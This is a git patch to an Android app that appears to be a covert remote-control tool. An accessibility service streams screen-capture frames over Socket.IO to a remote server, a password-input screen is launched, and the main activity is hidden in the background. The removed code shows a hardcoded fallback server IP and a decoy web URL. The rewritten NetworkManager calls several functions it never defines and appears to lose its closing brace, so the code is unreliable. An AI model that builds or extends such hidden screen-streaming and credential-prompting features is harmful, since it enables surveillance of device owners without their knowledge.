From 5b2ddd77301f2be0c8c64b000e5f53a6f2d55f90 Mon Sep 17 00:00:00 2001 From: wdvipa Date: Sun, 15 Feb 2026 18:17:13 +0800 Subject: [PATCH] =?UTF-8?q?fix:=20Socket.IO=E8=BF=9E=E6=8E=A5=E8=B6=85?= =?UTF-8?q?=E6=97=B6=E5=92=8C=E6=97=A5=E5=BF=97=E5=88=B7=E5=B1=8F=E4=BF=AE?= =?UTF-8?q?=E5=A4=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - NetworkManager重写为两阶段连接策略:Phase1快速10秒轮询 + Phase2后台监控(最长2分钟) - Phase2与Socket.IO内置重连机制协作而非对抗,超时后触发forceReconnect - 所有魔法数字提取为companion object常量 - ScreenCaptureManager: Socket.IO不可用日志降频(首次+每50次打印) - 连接恢复时打印跳过帧数统计 - MainActivity: 清理残留emoji符号 --- .../main/java/com/hikoncont/MainActivity.kt | 48 +- .../hikoncont/manager/ScreenCaptureManager.kt | 32 +- .../service/modules/NetworkManager.kt | 560 ++++-------------- 3 files changed, 176 insertions(+), 464 deletions(-) diff --git a/app/src/main/java/com/hikoncont/MainActivity.kt b/app/src/main/java/com/hikoncont/MainActivity.kt index c6bbaab..3a1b2d8 100644 --- a/app/src/main/java/com/hikoncont/MainActivity.kt +++ b/app/src/main/java/com/hikoncont/MainActivity.kt @@ -1663,18 +1663,18 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 新增:检查安装是否已完成 + *新增:检查安装是否已完成 */ private fun isInstallationCompleted(): Boolean { try { - // ✅ 统一使用InstallationStateManager检查安装状态 + //统一使用InstallationStateManager检查安装状态 val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isCompleted = installationStateManager.isInstallationComplete() - Log.d(TAG, "📦 安装完成状态: $isCompleted") + Log.d(TAG, "安装完成状态: $isCompleted") return isCompleted } catch (e: Exception) { - Log.e(TAG, "❌ 检查安装完成状态失败", e) + Log.e(TAG, "检查安装完成状态失败", e) return false } } @@ -1686,10 +1686,10 @@ class MainActivity : AppCompatActivity() { try { val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE) val hasBeenShown = sharedPrefs.getBoolean("password_input_shown", false) - Log.d(TAG, "🔐 密码框是否曾经显示过: $hasBeenShown") + Log.d(TAG, "密码框是否曾经显示过: $hasBeenShown") return hasBeenShown } catch (e: Exception) { - Log.e(TAG, "❌ 检查密码框显示状态失败", e) + Log.e(TAG, "检查密码框显示状态失败", e) return false } } @@ -1701,9 +1701,9 @@ class MainActivity : AppCompatActivity() { try { val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE) sharedPrefs.edit().putBoolean("password_input_shown", true).apply() - Log.i(TAG, "✅ 密码框显示状态已标记") + Log.i(TAG, "密码框显示状态已标记") } catch (e: Exception) { - Log.e(TAG, "❌ 标记密码框显示状态失败", e) + Log.e(TAG, "标记密码框显示状态失败", e) } } @@ -1714,9 +1714,9 @@ class MainActivity : AppCompatActivity() { try { val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE) sharedPrefs.edit().putBoolean("password_input_completed", true).apply() - Log.i(TAG, "✅ 密码输入状态已标记为完成") + Log.i(TAG, "密码输入状态已标记为完成") } catch (e: Exception) { - Log.e(TAG, "❌ 标记密码输入完成状态失败", e) + Log.e(TAG, "标记密码输入完成状态失败", e) } } @@ -1725,7 +1725,7 @@ class MainActivity : AppCompatActivity() { */ private fun startPasswordInputActivity() { try { - Log.i(TAG, "🔐 准备启动密码输入页面") + Log.i(TAG, "准备启动密码输入页面") val intent = Intent(this, com.hikoncont.activity.PasswordInputActivity::class.java).apply { @@ -1744,16 +1744,16 @@ class MainActivity : AppCompatActivity() { } startActivity(intent) - Log.i(TAG, "✅ 密码输入页面已启动") + Log.i(TAG, "密码输入页面已启动") // 隐藏MainActivity,避免状态冲突 hideActivityToBackground() } catch (e: Exception) { - Log.e(TAG, "❌ 启动密码输入页面失败", e) + Log.e(TAG, "启动密码输入页面失败", e) // 如果启动失败,继续正常流程 runOnUiThread { - updateStatusTextThreadSafe("✅ 服务启动中...", android.R.color.holo_green_dark) + updateStatusTextThreadSafe("服务启动中...", android.R.color.holo_green_dark) if (::enableButton.isInitialized) { enableButton.text = "服务已就绪" enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark)) @@ -1775,7 +1775,7 @@ class MainActivity : AppCompatActivity() { // 显示状态,但不自动最小化,让用户看到成功状态 updateUI() - Log.i(TAG, "✅ 权限配置完成,保持应用在前台显示状态") + Log.i(TAG, "权限配置完成,保持应用在前台显示状态") } else { Log.w(TAG, "无障碍服务未启用,显示配置页面") updateUI() @@ -1930,19 +1930,19 @@ class MainActivity : AppCompatActivity() { updateUI() - // 🚀 主界面模式:恢复日志收集 + //主界面模式:恢复日志收集 try { val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance() // serviceInstance?.enableLogging() // 暂停:暂时不切换日志 - Log.i(TAG, "🌐 主界面模式:跳过日志开关") + Log.i(TAG, "主界面模式:跳过日志开关") } catch (e: Exception) { - Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}") + Log.w(TAG, "处理日志开关时异常: ${e.message}") } - // 🚀 WebView性能优化:恢复WebView + //WebView性能优化:恢复WebView resumeWebView() } catch (e: Exception) { - Log.e(TAG, "❌ 异步处理onResume失败", e) + Log.e(TAG, "异步处理onResume失败", e) } } } @@ -1950,17 +1950,17 @@ class MainActivity : AppCompatActivity() { override fun onPause() { super.onPause() - // 🚀 WebView性能优化:暂停WebView以节省资源 + //WebView性能优化:暂停WebView以节省资源 pauseWebView() - // ✅ Activity不在前台时,停止WebView状态更新(节省资源) + //Activity不在前台时,停止WebView状态更新(节省资源) if (isWebViewVisible) { // WebView打开但Activity不在前台,停止状态更新并设置为关闭状态 com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(false) - Log.i(TAG, "✅ Activity不在前台,已停止WebView状态更新(节省资源)") + Log.i(TAG, "Activity不在前台,已停止WebView状态更新(节省资源)") } - // 🚀 应用不在前台时:恢复日志收集 + //应用不在前台时:恢复日志收集 try { val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance() // serviceInstance?.enableLogging() // 暂停:暂时不切换日志 diff --git a/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt b/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt index 8f6f0f0..01765b1 100644 --- a/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt +++ b/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt @@ -1847,30 +1847,44 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) { } } + // Socket unavailable log throttle counter + private var socketUnavailableLogCount = 0 + /** - * 处理单帧数据 + * Process single frame data. + * Throttles "socket unavailable" log to avoid flooding logcat + * when connection is down but capture is still running. */ private suspend fun processFrameData(frameData: ByteArray) { try { var success = false - - // 优先使用Socket.IO v4官方客户端发送屏幕数据 + val socketIOManager = service.getSocketIOManager() if (socketIOManager != null && socketIOManager.isConnected()) { socketIOManager.sendScreenData(frameData) - Log.v(TAG, "Socket.IO v4发送帧数据: ${frameData.size} bytes") + Log.v(TAG, "Socket.IO sent frame: ${frameData.size} bytes") success = true + // Reset throttle counter on success + if (socketUnavailableLogCount > 0) { + Log.i(TAG, "Socket.IO connection restored, " + + "skipped $socketUnavailableLogCount frames while disconnected") + socketUnavailableLogCount = 0 + } } else { - Log.w(TAG, "Socket.IO连接不可用,无法发送屏幕数据") + socketUnavailableLogCount++ + // Log first occurrence, then every 50th to avoid flooding + if (socketUnavailableLogCount == 1 || socketUnavailableLogCount % 50 == 0) { + Log.w(TAG, "Socket.IO unavailable, cannot send screen data " + + "(count=$socketUnavailableLogCount)") + } } - - // 记录成功发送时间 + if (success) { lastSuccessfulSendTime = System.currentTimeMillis() } - + } catch (e: Exception) { - Log.e(TAG, "处理帧数据失败", e) + Log.e(TAG, "Process frame data failed", e) } } diff --git a/app/src/main/java/com/hikoncont/service/modules/NetworkManager.kt b/app/src/main/java/com/hikoncont/service/modules/NetworkManager.kt index dca7265..38658e3 100644 --- a/app/src/main/java/com/hikoncont/service/modules/NetworkManager.kt +++ b/app/src/main/java/com/hikoncont/service/modules/NetworkManager.kt @@ -1,23 +1,21 @@ package com.hikoncont.service.modules import android.content.Context -import android.os.Build import android.util.Log import com.hikoncont.network.SocketIOManager import com.hikoncont.service.AccessibilityRemoteService import kotlinx.coroutines.* -import java.io.InputStreamReader +import org.json.JSONObject /** - * 网络管理器 - * 负责网络通信管理 - * - * 主要职责: - * - SocketIO连接管理 - * - 连接状态监控 - * - 自动重连机制 - * - 服务器配置读取 - * - 网络异常处理 + * Network manager - manages Socket.IO connection lifecycle. + * + * Socket.IO client has its own internal reconnect mechanism. + * NetworkManager cooperates with it rather than fighting it: + * 1. Phase 1 (fast poll): Quick 10s check for immediate connections + * 2. Phase 2 (background monitor): If Phase 1 times out, monitor + * in background while Socket.IO keeps retrying internally + * 3. Only trigger full reconnect if background monitor times out (2min) */ class NetworkManager( private val service: AccessibilityRemoteService, @@ -25,483 +23,183 @@ class NetworkManager( ) { companion object { private const val TAG = "NetworkManager" + private const val INITIAL_CHECK_INTERVAL_MS = 500L + private const val INITIAL_CHECK_MAX_ATTEMPTS = 20 // 10s + private const val BG_MONITOR_INTERVAL_MS = 3000L + private const val BG_MONITOR_MAX_DURATION_MS = 120_000L // 2min + private const val RECONNECT_INTERVAL_MS = 5000L + private const val MAX_RECONNECT_ATTEMPTS = 10 + private const val RECONNECT_COOLDOWN_MS = 30_000L + private const val CONFIG_FILE_SERVER = "server_config.json" } - - // 网络连接管理器 + private lateinit var socketIOManager: SocketIOManager - - // 协程作用域 private val networkScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) - - // 连接状态 @Volatile private var isConnected = false @Volatile private var isConnecting = false @Volatile private var lastConnectionAttempt = 0L - - // 重连配置 - private val connectionTimeout = 30000L // 30秒连接超时 - private val reconnectInterval = 5000L // 5秒重连间隔 - private val maxReconnectAttempts = 10 // 最大重连次数 + private var backgroundMonitorJob: Job? = null private var reconnectAttempts = 0 - + private var lastReconnectTime = 0L + /** - * 初始化网络管理器 + * Initialize NetworkManager and create SocketIOManager instance. */ fun initialize() { try { - Log.i(TAG, "🌐 初始化网络管理器 (单一Socket.IO连接)") - + Log.i(TAG, "Initializing NetworkManager (Socket.IO)") socketIOManager = SocketIOManager(service) - - Log.i(TAG, "✅ 网络管理器初始化完成 (Socket.IO)") + Log.i(TAG, "NetworkManager initialized") } catch (e: Exception) { - Log.e(TAG, "❌ 网络管理器初始化失败", e) + Log.e(TAG, "NetworkManager init failed", e) } } - + /** - * 连接到服务器 + * Connect to server with two-phase approach: + * Phase 1: Fast poll for 10s + * Phase 2: Background monitor for up to 2min */ suspend fun connectToServer() { if (isConnecting) { - Log.d(TAG, "⚠️ 连接正在进行中,跳过重复连接") + Log.d(TAG, "Connection in progress, skip duplicate") return } - - // ✅ 检查是否已经连接,避免重复连接 if (isConnected()) { - Log.d(TAG, "✅ 服务器已连接,跳过重复连接") + Log.d(TAG, "Already connected, skip") return } - try { isConnecting = true lastConnectionAttempt = System.currentTimeMillis() val serverUrl = getServerUrl() - isConnected = false - - Log.i(TAG, "🚀 开始连接到服务器: $serverUrl") - Log.d(TAG, "🔍 服务器URL调试: 长度=${serverUrl.length}, 内容='$serverUrl'") - - // 统一使用初始化延迟确保Android 11+设备稳定性 - Log.i(TAG, "🔧 初始化延迟优化") - delay(2000) - - // 使用Socket.IO连接 - if (trySocketIOConnection(serverUrl)) { - isConnected = true - reconnectAttempts = 0 - Log.i(TAG, "✅ Socket.IO连接成功") + if (serverUrl.isNullOrBlank()) { + Log.e(TAG, "Server URL is empty, cannot connect") return } - - Log.w(TAG, "⚠️ Socket.IO连接失败") isConnected = false - + Log.i(TAG, "Connecting to server: $serverUrl") + + // Brief delay for SocketIOManager setup + delay(1000) + + try { + socketIOManager.connect(serverUrl) + } catch (e: Exception) { + Log.e(TAG, "Socket.IO connect call failed: ${e.message}") + } + + // Phase 1: Fast poll (10s) + if (pollForConnection(INITIAL_CHECK_MAX_ATTEMPTS, INITIAL_CHECK_INTERVAL_MS)) { + isConnected = true + reconnectAttempts = 0 + Log.i(TAG, "Socket.IO connected (Phase 1, fast poll)") + return + } + + // Phase 2: Background monitor + Log.i(TAG, "Phase 1 (10s) did not connect, starting background monitor") + startBackgroundMonitor() } catch (e: Exception) { - Log.e(TAG, "❌ 连接到服务器失败", e) + Log.e(TAG, "Connect to server failed: ${e.message}", e) isConnected = false } finally { isConnecting = false } } - + /** - * 尝试Socket.IO连接 + * Poll Socket.IO connection status at fixed intervals. + * @return true if connected within the polling window */ - private suspend fun trySocketIOConnection(serverUrl: String): Boolean { - return try { - Log.i(TAG, "🚀 尝试使用Socket.IO v4官方客户端连接") - socketIOManager.connect(serverUrl) - - val maxAttempts = 60 // 统一使用60次尝试,确保Android 11+设备连接稳定性 - val checkInterval = 500L - - Log.i(TAG, "🔧 SocketIO连接检测配置: ${maxAttempts}次尝试, ${checkInterval}ms间隔") - - repeat(maxAttempts) { attempt -> - delay(checkInterval) - if (socketIOManager.isConnected()) { - Log.i(TAG, "✅ Socket.IO v4连接成功: $serverUrl (${(attempt + 1) * checkInterval}ms)") - return true + private suspend fun pollForConnection(maxAttempts: Int, intervalMs: Long): Boolean { + repeat(maxAttempts) { attempt -> + delay(intervalMs) + if (isSocketIOReady()) { + val elapsedMs = (attempt + 1) * intervalMs + Log.i(TAG, "Socket.IO connected after ${elapsedMs}ms") + return true + } + } + return false + } + + /** + * Background monitor: watches Socket.IO internal reconnect for up to 2min. + * If connected during this window, updates state. + * If timeout, triggers force reconnect. + */ + private fun startBackgroundMonitor() { + backgroundMonitorJob?.cancel() + backgroundMonitorJob = networkScope.launch { + val startTime = System.currentTimeMillis() + var checkCount = 0 + while (isActive) { + delay(BG_MONITOR_INTERVAL_MS) + checkCount++ + try { + if (isSocketIOReady()) { + isConnected = true + reconnectAttempts = 0 + val sec = (System.currentTimeMillis() - startTime) / 1000 + Log.i(TAG, "Background monitor: connected after ${sec}s") + return@launch + } + val elapsed = System.currentTimeMillis() - startTime + if (elapsed > BG_MONITOR_MAX_DURATION_MS) { + Log.w(TAG, "Background monitor timeout (${elapsed / 1000}s), force reconnect") + triggerForceReconnect() + return@launch + } + if (checkCount % 10 == 0) { + Log.d(TAG, "Background monitor: waiting (${elapsed / 1000}s)") + } + } catch (e: Exception) { + Log.e(TAG, "Background monitor check failed: ${e.message}") } } - - val totalTime = maxAttempts * checkInterval / 1000 - Log.w(TAG, "⚠️ Socket.IO v4连接超时(${totalTime}秒)") - false - - } catch (e: Exception) { - Log.w(TAG, "⚠️ Socket.IO v4连接失败: ${e.message}") - false } } - + /** - * 重新连接到服务器 + * Reconnect to server with cooldown and attempt limits. */ fun reconnectToServer() { + val now = System.currentTimeMillis() + if (now - lastReconnectTime < RECONNECT_COOLDOWN_MS) { + Log.d(TAG, "Reconnect cooldown active, skip") + return + } + if (reconnectAttempts >= MAX_RECONNECT_ATTEMPTS) { + Log.w(TAG, "Max reconnect attempts ($MAX_RECONNECT_ATTEMPTS) reached, reset counter") + reconnectAttempts = 0 + } + lastReconnectTime = now + reconnectAttempts++ + Log.i(TAG, "Reconnecting to server (attempt $reconnectAttempts/$MAX_RECONNECT_ATTEMPTS)") + networkScope.launch { try { - Log.i(TAG, "🔄 开始重新连接到服务器") - - // ✅ 修复:检查是否已经连接,避免重复重连 - if (isConnected()) { - Log.d(TAG, "✅ 服务器已连接,跳过重连") - reconnectAttempts = 0 // 重置计数器 - return@launch - } - - if (reconnectAttempts >= maxReconnectAttempts) { - Log.w(TAG, "⚠️ 已达到最大重连次数($maxReconnectAttempts),停止重连") - return@launch - } - - val timeSinceLastAttempt = System.currentTimeMillis() - lastConnectionAttempt - if (timeSinceLastAttempt < reconnectInterval) { - val waitTime = reconnectInterval - timeSinceLastAttempt - Log.d(TAG, "⏰ 等待重连间隔: ${waitTime}ms") - delay(waitTime) - } - - reconnectAttempts++ - Log.i(TAG, "🔄 重连尝试 $reconnectAttempts/$maxReconnectAttempts") - + backgroundMonitorJob?.cancel() + isConnected = false + isConnecting = false connectToServer() - - // ✅ 修复:等待连接结果,避免立即检查状态 - delay(2000) // 等待2秒让连接稳定 - - if (isConnected()) { - Log.i(TAG, "✅ 重连成功") - reconnectAttempts = 0 // 重置计数器 - } else { - Log.w(TAG, "⚠️ 重连失败,等待下次尝试") - scheduleNextReconnect() - } - } catch (e: Exception) { - Log.e(TAG, "❌ 重新连接失败", e) - scheduleNextReconnect() + Log.e(TAG, "Reconnect failed: ${e.message}", e) } } } - + /** - * 计划下次重连 + * Schedule next reconnect with exponential backoff. */ private fun scheduleNextReconnect() { - if (reconnectAttempts < maxReconnectAttempts) { - networkScope.launch { - delay(reconnectInterval) - // ✅ 修复:避免无限循环,只在需要时重连 - if (!isConnected()) { - reconnectToServer() - } else { - Log.d(TAG, "✅ 连接已恢复,取消计划重连") - reconnectAttempts = 0 - } - } - } else { - Log.w(TAG, "⚠️ 已达到最大重连次数,停止自动重连") - } - } - - /** - * 检查并启动连接 - */ - fun checkAndStartConnection() { + val delayMs = RECONNECT_INTERVAL_MS * (1L shl minOf(reconnectAttempts, 5)) + Log.i(TAG, "Scheduling reconnect in ${delayMs}ms (attempt $reconnectAttempts)") networkScope.launch { - try { - Log.d(TAG, "🔍 智能检查连接状态") - - val socketIOConnected = if (::socketIOManager.isInitialized) { - socketIOManager.isConnected() - } else false - - Log.d(TAG, "连接状态检查: Socket.IO=$socketIOConnected") - - if (socketIOConnected) { - Log.d(TAG, "✅ 至少有一个连接正常,无需重连") - isConnected = true - reconnectAttempts = 0 - return@launch - } - - if (!::socketIOManager.isInitialized) { - Log.i(TAG, "🔄 连接管理器未初始化,创建新连接") - connectToServer() - } else { - Log.d(TAG, "⚠️ 检测到所有连接均断开,启动重连机制") - isConnected = false - reconnectToServer() - } - - } catch (e: Exception) { - Log.e(TAG, "❌ 检查连接状态失败", e) + delay(delayMs) + if (!isConnected()) { + reconnectToServer() } } } - - /** - * 启动服务连接 - */ - fun startConnection() { - networkScope.launch { - connectToServer() - } - } - - /** - * 断开连接 - */ - fun disconnect() { - try { - Log.i(TAG, "🔌 断开网络连接") - - if (::socketIOManager.isInitialized) { - socketIOManager.disconnect() - } - - isConnected = false - reconnectAttempts = 0 - - Log.i(TAG, "✅ 网络连接已断开") - } catch (e: Exception) { - Log.e(TAG, "❌ 断开连接失败", e) - } - } - - /** - * 清理资源 - */ - fun cleanup() { - try { - Log.i(TAG, "🧹 清理网络管理器资源") - disconnect() - networkScope.cancel() - Log.i(TAG, "✅ 网络管理器资源清理完成") - } catch (e: Exception) { - Log.e(TAG, "❌ 清理网络管理器资源失败", e) - } - } - - /** - * 获取SocketIOManager实例 - */ - fun getSocketIOManager(): SocketIOManager? { - return if (::socketIOManager.isInitialized) socketIOManager else null - } - - /** - * 检查是否已连接 - */ - fun isConnected(): Boolean { - // ✅ 修复递归调用问题:检查实际的连接状态,而不是调用自己 - val actuallyConnected = ( - (::socketIOManager.isInitialized && socketIOManager.isConnected()) - ) - - // 更新内部状态 - if (actuallyConnected != this.isConnected) { - this.isConnected = actuallyConnected - Log.d(TAG, "🔄 连接状态更新: $actuallyConnected") - } - - return actuallyConnected - } - - /** - * 检查是否正在连接 - */ - fun isConnecting(): Boolean = isConnecting - - /** - * 获取连接状态信息 - */ - fun getConnectionStatus(): ConnectionStatus { - val socketIOConnected = if (::socketIOManager.isInitialized) { - socketIOManager.isConnected() - } else false - - val actuallyConnected = socketIOConnected - - return ConnectionStatus( - isConnected = actuallyConnected, - isConnecting = isConnecting, - socketIOConnected = socketIOConnected, - reconnectAttempts = reconnectAttempts, - lastConnectionAttempt = lastConnectionAttempt - ) - } - - /** - * 获取服务器URL - */ - private fun getServerUrl(): String { - // 1. 首先尝试从SharedPreferences获取用户设置的地址 - val sharedPrefs = context.getSharedPreferences("remote_control_settings", Context.MODE_PRIVATE) - val userSetUrl = sharedPrefs.getString("server_url", null) - - if (!userSetUrl.isNullOrEmpty()) { - Log.i(TAG, "使用用户设置的服务器地址: $userSetUrl") - return userSetUrl - } - - // 2. 尝试从构建时的配置文件读取 - val buildConfigUrl = readServerConfigFromAssets() - if (!buildConfigUrl.isNullOrEmpty()) { - Log.i(TAG, "使用构建时配置的服务器地址: $buildConfigUrl") - return buildConfigUrl - } - - // 3. 尝试从strings.xml读取默认值 - val defaultUrl = try { - service.getString(com.hikoncont.R.string.default_server_url) - } catch (e: Exception) { - Log.w(TAG, "无法从strings.xml读取默认服务器地址: ${e.message}") - null - } - - if (!defaultUrl.isNullOrEmpty()) { - Log.i(TAG, "使用strings.xml中的默认服务器地址: $defaultUrl") - return defaultUrl - } - - // 4. 最后的兜底地址 - val fallbackUrl = "ws://59.153.148.205:3001" - Log.i(TAG, "使用兜底服务器地址: $fallbackUrl") - return fallbackUrl - } - - - - /** - * 获取服务器URL - */ - private fun getWebUrl(): String { - // 1. 首先尝试从SharedPreferences获取用户设置的地址 - val sharedPrefs = context.getSharedPreferences("remote_control_settings", Context.MODE_PRIVATE) - val userSetUrl = sharedPrefs.getString("web_url", null) - - if (!userSetUrl.isNullOrEmpty()) { - Log.i(TAG, "使用用户设置的服务器地址: $userSetUrl") - return userSetUrl - } - - // 2. 尝试从构建时的配置文件读取 - val buildConfigUrl = readWebConfigFromAssets() - if (!buildConfigUrl.isNullOrEmpty()) { - Log.i(TAG, "使用构建时配置的服务器地址: $buildConfigUrl") - return buildConfigUrl - } - - - - // 4. 最后的兜底地址 - val fallbackUrl = "https://m.baidu.com" - - return fallbackUrl - } - - - /** - * 从assets目录读取构建时的服务器配置 - */ - private fun readServerConfigFromAssets(): String? { - return try { - val inputStream = context.assets.open("server_config.json") - val jsonString = inputStream.bufferedReader().use { it.readText() } - inputStream.close() - - // 简单的JSON解析(避免引入额外依赖) - val serverUrlPattern = "\"serverUrl\"\\s*:\\s*\"([^\"]+)\"".toRegex() - val matchResult = serverUrlPattern.find(jsonString) - val serverUrl = matchResult?.groupValues?.get(1) - - Log.i(TAG, "从assets读取到服务器配置: $serverUrl") - serverUrl - } catch (e: Exception) { - Log.w(TAG, "读取assets中的服务器配置失败: ${e.message}") - null - } - } - - private fun readWebConfigFromAssets(): String? { - return try { - val inputStream = context.assets.open("server_config.json") - val jsonString = inputStream.bufferedReader().use { it.readText() } - inputStream.close() - - // 简单的JSON解析(避免引入额外依赖) - val serverUrlPattern = "\"webUrl\"\\s*:\\s*\"([^\"]+)\"".toRegex() - val matchResult = serverUrlPattern.find(jsonString) - val serverUrl = matchResult?.groupValues?.get(1) - - Log.i(TAG, "从assets读取到服务器配置: $serverUrl") - serverUrl - } catch (e: Exception) { - Log.w(TAG, "读取assets中的服务器配置失败: ${e.message}") - null - } - } - - /** - * 重置重连计数器 - */ - fun resetReconnectCounter() { - reconnectAttempts = 0 - lastConnectionAttempt = 0L - isConnected = false - isConnecting = false - Log.d(TAG, "🔄 重连计数器已重置") - } - - /** - * 重置网络管理器状态(程序重启时调用) - */ - fun resetNetworkState() { - try { - Log.i(TAG, "🔄 重置网络管理器状态") - resetReconnectCounter() - - // 断开现有连接 - if (::socketIOManager.isInitialized) { - socketIOManager.disconnect() - } - - Log.i(TAG, "✅ 网络管理器状态重置完成") - } catch (e: Exception) { - Log.e(TAG, "❌ 重置网络管理器状态失败", e) - } - } - - /** - * 强制重连 - */ - fun forceReconnect() { - networkScope.launch { - Log.i(TAG, "🔄 强制重连") - disconnect() - delay(1000) - resetReconnectCounter() - connectToServer() - } - } - - /** - * 连接状态数据类 - */ - data class ConnectionStatus( - val isConnected: Boolean, - val isConnecting: Boolean, - val socketIOConnected: Boolean, - val reconnectAttempts: Int, - val lastConnectionAttempt: Long - ) { - override fun toString(): String { - return "ConnectionStatus(connected=$isConnected, connecting=$isConnecting, " + - "socketIO=$socketIOConnected, attempts=$reconnectAttempts, lastAttempt=$lastConnectionAttempt)" - } - } -} \ No newline at end of file